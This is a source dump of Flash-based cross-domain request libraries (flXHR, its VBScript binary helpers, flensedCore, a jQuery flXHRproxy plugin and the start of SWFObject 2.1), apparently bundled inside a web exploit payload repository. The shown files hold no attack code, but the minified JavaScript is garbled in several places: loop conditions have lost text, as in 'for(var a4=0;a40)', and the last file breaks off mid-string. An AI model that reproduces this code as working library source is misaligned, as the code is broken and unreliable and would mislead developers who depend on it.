a0(){f(af);try{E.detachEvent(e,a0)}catch(a3){}}try{E.attachEvent(e,a0)}catch(a1){}(function a2(){try{y.bindEvent(E,e,aI)}catch(a3){af=w(arguments.callee,25);return}a0();af=w(aT,1)})()}();function aT(){if(V===null){Q=h.getElementsByTagName("body")[0]}else{Q=y.getObjectById(V)}try{Q.nodeName.toLowerCase();y.checkplayer.module_ready();K=y.checkplayer}catch(a1){af=w(aT,25);return}if((q===null)&&(typeof K._ins===z)){try{q=new K(r.MIN_PLAYER_VERSION,aU,L,aq)}catch(a0){aP(r.DEPENDENCY_ERROR,"flXHR: checkplayer Init Failed","The initialization of the 'checkplayer' library failed to complete.");return}}else{q=K._ins;ag()}}function ag(){if(q===null||!q.checkPassed){af=w(ag,25);return}if(m===null&&V===null){y.createCSS("."+ae,"left:-1px;top:0px;width:1px;height:1px;position:absolute;");m=a}var a4=h.createElement(l);a4.id=Y;a4.className=ae;Q.appendChild(a4);Q=null;var a1={},a5={allowScriptAccess:"always"},a2={id:Y,name:Y,styleclass:ae},a3={swfCB:aS,swfEICheck:"reset"};try{q.DoSWF(y.base_path+A,Y,"1","1",a1,a5,a2,a3)}catch(a0){aP(r.DEPENDENCY_ERROR,"flXHR: checkplayer Call Failed","A call to the 'checkplayer' library failed to complete.");return}}function aS(a0){if(a0.status!==K.SWF_EI_READY){return}R();aV=y.getObjectById(Y);aV.setId(Y);if(T!==g){aV.loadPolicy(T)}aV.autoNoCacheHeader(au);aV.returnBinaryResponseBody(aC);aV.doOnReadyStateChange=al;aV.doOnError=aP;aV.sendProcessed=ap;aV.chunkResponse=ay;aM=0;ax();aX();if(typeof aK===k){try{aK(ak)}catch(a1){aP(r.HANDLER_ERROR,"flXHR::onreadystatechange(): Error","An error occurred in the handler function. ("+a1.message+")");return}}at()}function aI(){try{c.flensed.unbindEvent(E,e,aI)}catch(a3){}try{for(var a4=0;a40){aH=H}aK=ak[D];aD=ak[C];aO=ak[M];if(ak[I]!==null){if((ak[I]!==T)&&(aM>=0)){aV.loadPolicy(ak[I])}T=ak[I]}if(ak[b]!==null){if((ak[b]!==au)&&(aM>=0)){aV.autoNoCacheHeader(ak[b])}au=ak[b]}if(ak[d]!==null){if((ak[d]!==aC)&&(aM>=0)){aV.returnBinaryResponseBody(ak[d])}aC=ak[d]}if(aA!==null){aA=!(!ak[F])}}catch(a0){}}function aN(){am();try{aV.reset()}catch(a0){}aE=null;aw=null;ac=null;ao=null;aa=null;aL=null;aB=L;aX();T=g;ax()}function aU(a0){if(a0.checkPassed){ag()}else{if(!aJ){aP(r.PLAYER_VERSION_ERROR,"flXHR: Insufficient Flash Player Version","The Flash Player was either not detected, or the detected version ("+a0.playerVersionDetected+") was not at least the minimum version ("+r.MIN_PLAYER_VERSION+") needed by the 'flXHR' library.")}else{q.UpdatePlayer()}}}function aq(a0){if(a0.updateStatus===K.UPDATE_CANCELED){aP(r.PLAYER_VERSION_ERROR,"flXHR: Flash Player Update Canceled","The Flash Player was not updated.")}else{if(a0.updateStatus===K.UPDATE_FAILED){aP(r.PLAYER_VERSION_ERROR,"flXHR: Flash Player Update Failed","The Flash Player was either not detected or could not be updated.")}}}function ap(){if(aH!==null&&aH>0){X=w(W,aH)}}function am(){R();aQ();ax();aM=0;aF=0;try{aV.abort()}catch(a0){aP(r.CALL_ERROR,"flXHR::abort(): Failed","The abort() call failed to complete.")}aX()}function av(){ax();if(typeof arguments[0]===z||typeof arguments[1]===z){aP(r.CALL_ERROR,"flXHR::open(): Failed","The open() call requires 'method' and 'url' parameters.")}else{if(aM>0||aB){aN()}if(aF===0){al(1)}else{aM=1}var a7=arguments[0],a6=arguments[1],a5=(typeof arguments[2]!==z)?arguments[2]:a,ba=(typeof arguments[3]!==z)?arguments[3]:g,a9=(typeof arguments[4]!==z)?arguments[4]:g;try{aV.autoNoCacheHeader(au);aV.open(a7,a6,a5,ba,a9)}catch(a8){aP(r.CALL_ERROR,"flXHR::open(): Failed","The open() call failed to complete.")}}}function az(){ax();if(aM<=1&&!aB){var a1=(typeof arguments[0]!==z)?arguments[0]:g;if(aF===1){al(2)}else{aM=2}try{aV.autoNoCacheHeader(au);aV.send(a1)}catch(a2){aP(r.CALL_ERROR,"flXHR::send(): Failed","The send() call failed to complete.")}}else{aP(r.CALL_ERROR,"flXHR::send(): Failed","The send() call cannot be made at this time.")}}function aj(){ax();if(typeof arguments[0]===z||typeof arguments[1]===z){aP(r.CALL_ERROR,"flXHR::setRequestHeader(): Failed","The setRequestHeader() call requires 'name' and 'value' parameters.")}else{if(!aB){var a3=(typeof arguments[0]!==z)?arguments[0]:g,a2=(typeof arguments[1]!==z)?arguments[1]:g;try{aV.setRequestHeader(a3,a2)}catch(a4){aP(r.CALL_ERROR,"flXHR::setRequestHeader(): Failed","The setRequestHeader() call failed to complete.")}}}}function an(){ax();return g}function ar(){ax();return[]}ak={readyState:aF,responseBody:aa,responseText:ac,responseXML:ao,status:aE,statusText:aw,timeout:aH,open:function(){ax();if(ak[J]===0){ad(1)}if(!Z||aM<0){aZ(av,"open",arguments);return}av.apply({},arguments)},send:function(){ax();if(ak[J]===1){ad(2)}if(!Z||aM<0){aZ(az,"send",arguments);return}az.apply({},arguments)},abort:am,setRequestHeader:function(){ax();if(!Z||aM<0){aZ(aj,"setRequestHeader",arguments);return}aj.apply({},arguments)},getResponseHeader:an,getAllResponseHeaders:ar,onreadystatechange:aK,ontimeout:aO,instanceId:aY,loadPolicyURL:T,noCacheHeader:au,binaryResponseBody:aC,xmlResponseText:aA,onerror:aD,Configure:function(a0){if(typeof a0===o&&a0!==null){if((typeof a0[O]!==z)&&(a0[O]!==null)&&(a0[O]!==g)){aY=a0[O]}if(typeof a0[b]!==z){au=!(!a0[b]);if(aM>=0){aV.autoNoCacheHeader(au)}}if(typeof a0[d]!==z){aC=!(!a0[d]);if(aM>=0){aV.returnBinaryResponseBody(aC)}}if(typeof a0[F]!==z){aA=!(!a0[F])}if((typeof a0[D]!==z)&&(a0[D]!==null)){aK=a0[D]}if((typeof a0[C]!==z)&&(a0[C]!==null)){aD=a0[C]}if((typeof a0[M]!==z)&&(a0[M]!==null)){aO=a0[M]}if((typeof a0[p]!==z)&&((H=u(a0[p],10))>0)){aH=H}if((typeof a0[I]!==z)&&(a0[I]!==null)&&(a0[I]!==g)&&(a0[I]!==T)){T=a0[I];if(aM>=0){aV.loadPolicy(T)}}aX()}},Reset:aN,Destroy:aI};if(ab){i[i.length]=ak}return ak};r=y.flXHR;r.HANDLER_ERROR=10;r.CALL_ERROR=11;r.TIMEOUT_ERROR=12;r.DEPENDENCY_ERROR=13;r.PLAYER_VERSION_ERROR=14;r.SECURITY_ERROR=15;r.COMMUNICATION_ERROR=16;r.MIN_PLAYER_VERSION="9.0.124";r.module_ready=function(){}})(window);
--------------------------------------------------------------------------------
/src/includes/swf/flXHR.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EnableSecurity/Webapp-Exploit-Payloads/4413e6c79201149585448a980d1540211ee1ae90/src/includes/swf/flXHR.swf
--------------------------------------------------------------------------------
/src/includes/swf/flXHR.vbs:
--------------------------------------------------------------------------------
1 | ' flXHR 1.0.5 (VB Binary Helpers)
2 | ' Copyright (c) 2008-2010 Kyle Simpson, Getify Solutions, Inc.
3 | ' This software is released under the MIT License
4 | '
5 | ' ====================================================================================================
6 |
7 | Function flXHR_vb_BinaryToString(obj)
8 | Dim I,S
9 | Dim J
10 | For I = 1 to LenB(obj)
11 | J = AscB(MidB(obj,I,1))
12 | If J = 0 Then
13 | S = S & ""
14 | Else
15 | S = S & Chr(J)
16 | End If
17 | Next
18 | flXHR_vb_BinaryToString = S
19 | End Function
20 |
21 | Function flXHR_vb_SizeOfBytes(obj)
22 | Dim I
23 | I = LenB(obj)
24 | flXHR_vb_SizeOfBytes = I
25 | End Function
26 |
27 | Function flXHR_vb_StringToBinary(str)
28 | dim binobj
29 | dim ahex(),oparser,oelem
30 | redim ahex(len(str)-1)
31 | for i=0 to len(str)-1
32 | ahex(i)=right("00" & hex(asc(mid(str,i+1,1))),2)
33 | next
34 | set oparser=createobject("msxml2.domdocument")
35 | with oparser
36 | set oelem=.createElement("x")
37 | oelem.datatype="bin.hex"
38 | oelem.text=join(ahex,"")
39 | binobj=oelem.nodetypedvalue
40 | end with
41 | set oelem=nothing
42 | set oparser=nothing
43 | flXHR_vb_StringToBinary=binobj
44 | End Function
45 |
--------------------------------------------------------------------------------
/src/includes/swf/flensed.js:
--------------------------------------------------------------------------------
1 | /* flensedCore 1.0
2 | Copyright (c) 2008 Kyle Simpson, Getify Solutions, Inc.
3 | This software is released under the MIT License
4 |
5 | ====================================================================================================
6 | Portions of this code were extracted and/or derived from:
7 |
8 | SWFObject v2.1 & 2.2a8
9 | Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis
10 | This software is released under the MIT License
11 | */
12 | (function(B){var H=B,L=B.document,N="undefined",M=true,C=false,E="",F="object",D="string",G=null,J=null,I=null,K=B.parseInt,A=B.setTimeout;if(typeof B.flensed===N){B.flensed={}}else{if(typeof B.flensed.ua!==N){return}}G=B.flensed;A(function(){var P="flensed.js",U=C,R=L.getElementsByTagName("script"),T=R.length;try{G.base_path.toLowerCase();U=M}catch(S){G.base_path=E}if((typeof R!==N)&&(R!==null)){if(!U){var O=0;for(var Q=0;Q=0){G.base_path=R[Q].src.substr(0,O);break}}}}}},0);G.parseXMLString=function(P){var O=null;if(H.ActiveXObject){O=new B.ActiveXObject("Microsoft.XMLDOM");O.async=C;O.loadXML(P)}else{var Q=new B.DOMParser();O=Q.parseFromString(P,"text/xml")}return O};G.getObjectById=function(O){try{if(L.layers){return L.layers[O]}else{if(L.all){return L.all[O]}else{if(L.getElementById){return L.getElementById(O)}}}}catch(P){}return null};G.createCSS=function(T,P,U,S){if(G.ua.ie&&G.ua.mac){return}var R=L.getElementsByTagName("head")[0];if(!R){return}var O=(U&&typeof U===D)?U:"screen";if(S){J=null;I=null}if(!J||I!==O){var Q=L.createElement("style");Q.setAttribute("type","text/css");Q.setAttribute("media",O);J=R.appendChild(Q);if(G.ua.ie&&G.ua.win&&typeof L.styleSheets!==N&&L.styleSheets.length>0){J=L.styleSheets[L.styleSheets.length-1]}I=O}if(G.ua.ie&&G.ua.win){if(J&&typeof J.addRule===F){J.addRule(T,P)}}else{if(J&&typeof L.createTextNode!==N){J.appendChild(L.createTextNode(T+" {"+P+"}"))}}};G.bindEvent=function(R,O,Q){O=O.toLowerCase();try{if(typeof R.addEventListener!==N){R.addEventListener(O.replace(/^on/,E),Q,C)}else{if(typeof R.attachEvent!==N){R.attachEvent(O,Q)}}}catch(P){}};G.unbindEvent=function(R,O,Q){O=O.toLowerCase();try{if(typeof R.removeEventListener!==N){R.removeEventListener(O.replace(/^on/,E),Q,C)}else{if(typeof R.detachEvent!==N){R.detachEvent(O,Q)}}}catch(P){}};G.throwUnhandledError=function(O){throw new B.Error(O)};G.error=function(R,P,Q,O){return{number:R,name:P,description:Q,message:Q,srcElement:O,toString:function(){return R+", "+P+", "+Q}}};G.ua=function(){var U="Shockwave Flash",O="ShockwaveFlash.ShockwaveFlash",Y="application/x-shockwave-flash",P=B.navigator,V=typeof L.getElementById!==N&&typeof L.getElementsByTagName!==N&&typeof L.createElement!==N,f=[0,0,0],X=null;if(typeof P.plugins!==N&&typeof P.plugins[U]===F){X=P.plugins[U].description;if(X&&!(typeof P.mimeTypes!==N&&P.mimeTypes[Y]&&!P.mimeTypes[Y].enabledPlugin)){X=X.replace(/^.*\s+(\S+\s+\S+$)/,"$1");f[0]=K(X.replace(/^(.*)\..*$/,"$1"),10);f[1]=K(X.replace(/^.*\.(.*)\s.*$/,"$1"),10);f[2]=/r/.test(X)?K(X.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof H.ActiveXObject!==N){try{var Z=new B.ActiveXObject(O);if(Z){X=Z.GetVariable("$version");if(X){X=X.split(" ")[1].split(",");f=[K(X[0],10),K(X[1],10),K(X[2],10)]}}}catch(T){}}}var e=P.userAgent.toLowerCase(),S=P.platform.toLowerCase(),c=/webkit/.test(e)?parseFloat(e.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):C,Q=C,R=0,b=S?/win/.test(S):/win/.test(e),W=S?/mac/.test(S):/mac/.test(e);/*@cc_on Q=M;try{R=K(e.match(/msie (\d+)/)[1],10);}catch(e2){}@if(@_win32)b=M;@elif(@_mac)W=M;@end @*/return{w3cdom:V,pv:f,webkit:c,ie:Q,ieVer:R,win:b,mac:W}}()})(window);
13 |
--------------------------------------------------------------------------------
/src/includes/swf/jquery.flXHRproxy.js:
--------------------------------------------------------------------------------
1 | /* jQuery.flXHRproxy 2.0a
2 | Copyright (c) 2009-2011 Kyle Simpson
3 | Contributions by Julian Aubourg
4 | This software is released under the MIT License
5 |
6 | This plugin causes jQuery to treat flXHR as an XHR object, as a replacement of the native XHR, additionally
7 | allowing authorized cross-domain communication through flash's crossdomain.xml policy model.
8 |
9 | This plugin allows an author to register a set of flXHR configuration options to be tied to each URL
10 | that will be communicated with. Typical usage might be:
11 |
12 | jQuery.flXHRproxy.registerOptions('http://www.mydomain.com/',{xmlResponseText:false...});
13 | jQuery.flXHRproxy.registerOptions('http://rss.mydomain.com/',{xmlResponseText:true...});
14 | ...
15 | jQuery.ajax({url:'http://www.mydomain.com/something.html'...});
16 | ...
17 | jQuery.ajax({url:'http://rss.mydomain.com/feed.html'...});
18 |
19 | */
20 |
21 | ;(function($){
22 | $.flXHRproxy = flensed.flXHR; // make jQuery.flXHRproxy a reference alias to flensed.flXHR, for convenience
23 |
24 | var _opts = [],
25 | r_type = /^(?:post|get)$/i,
26 | defaultOptions = {
27 | instancePooling: true,
28 | autoUpdatePlayer: true
29 | }
30 | ;
31 |
32 | $.flXHRproxy.registerOptions = function(url,fopts) { // call to define a set of flXHR options to be applied to a
33 | // matching request URL
34 | fopts = $.extend( {}, defaultOptions, fopts || {} );
35 |
36 | _opts.push(function(callUrl) { // save this set of options with a matching function for the target URL
37 | if (callUrl.substring(0,url.length)===url) return fopts;
38 | });
39 | };
40 |
41 | // Prefilter to control if we need to use flXHR
42 | $.ajaxPrefilter(function( as ) {
43 | var useopts, tmp;
44 | if ( as.async && r_type.test( as.type ) ) {
45 | for (var i=0; i<_opts.length; i++) { // loop through all registered options for flXHR
46 | if (tmp = _opts[i](as.url)) useopts = tmp; // if URL match is found, use those flXHR options
47 | }
48 |
49 | // Use flXHR if we have options OR if said to do so
50 | // with the explicit as.flXHR option
51 | if ( useopts || as.flXHR ) {
52 | as.flXHROptions = useopts || defaultOptions;
53 | // Derail the transport selection
54 | return "__flxhr__";
55 | }
56 | }
57 | });
58 |
59 | // flXHR transport
60 | $.ajaxTransport( "__flxhr__", function( as, _, jqXHR ) {
61 | // Remove the fake dataType
62 | as.dataTypes.shift();
63 | // Make sure it won't be trigerred for async requests
64 | // if the dataType is set manually (users can be crazy)
65 | if ( !as.async ) {
66 | return;
67 | }
68 | // The flXHR instance
69 | var callback;
70 | // The transport
71 | return {
72 | send: function( headers, complete ) {
73 | var options = as.flXHROptions || defaultOptions,
74 | xhr = jqXHR.__flXHR__ = new $.flXHRproxy( options ),
75 | isError;
76 | // Define callback
77 | callback = function( status, error ) {
78 | if ( callback && ( error || xhr.readyState === 4 ) ) {
79 | callback = xhr.onreadystatechange = xhr.onerror = null;
80 | if ( error ) {
81 | if (! ( isError = ( error !== "abort" ) ) ) {
82 | xhr.abort();
83 | }
84 | complete( status, error );
85 | } else {
86 | var responses = {},
87 | responseXML = xhr.responseXML;
88 | if ( responseXML && responseXML.documentElement ) {
89 | responses.xml = responseXML;
90 | }
91 | responses.text = xhr.responseText;
92 | complete( xhr.status, xhr.statusText, responses, xhr.getAllResponseHeaders() );
93 | }
94 | }
95 | };
96 | // Attach onerror handler
97 | if ( $.isFunction( options.onerror ) ) {
98 | jqXHR.fail(function() {
99 | if ( isError ) {
100 | options.onerror.apply( this, arguments );
101 | }
102 | });
103 | }
104 | // Attach xhr handlers
105 | xhr.onreadystatechange = callback;
106 | xhr.onerror = function( flXHR_errorObj ) {
107 | complete( -1, flXHR_errorObj );
108 | };
109 | // Issue the request
110 | xhr.open( as.type, as.url, as.async, as.username, as.password );
111 | for ( var i in headers ) {
112 | xhr.setRequestHeader( i, headers[ i ] );
113 | }
114 | xhr.send( ( as.hasContent && as.data ) || null );
115 | },
116 | abort: function() {
117 | if ( callback ) {
118 | callback( 0, "abort" );
119 | }
120 | }
121 | };
122 | });
123 |
124 | })(jQuery);
125 |
126 |
--------------------------------------------------------------------------------
/src/includes/swf/swfobject.js:
--------------------------------------------------------------------------------
1 | /* SWFObject v2.1
2 | Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis
3 | This software is released under the MIT License
4 | */
5 | var swfobject=function(){var b="undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,q=false,z=r?/win/.test(r):/win/.test(AD),w=r?/mac/.test(r):/mac/.test(AD);/*@cc_on q=true;@if(@_win32)z=true;@elif(@_mac)w=true;@end@*/return{w3cdom:v,pv:AC,webkit:AA,ie:q,win:z,mac:w}}();var L=function(){if(!h.w3cdom){return }f(H);if(h.ie&&h.win){try{K.write("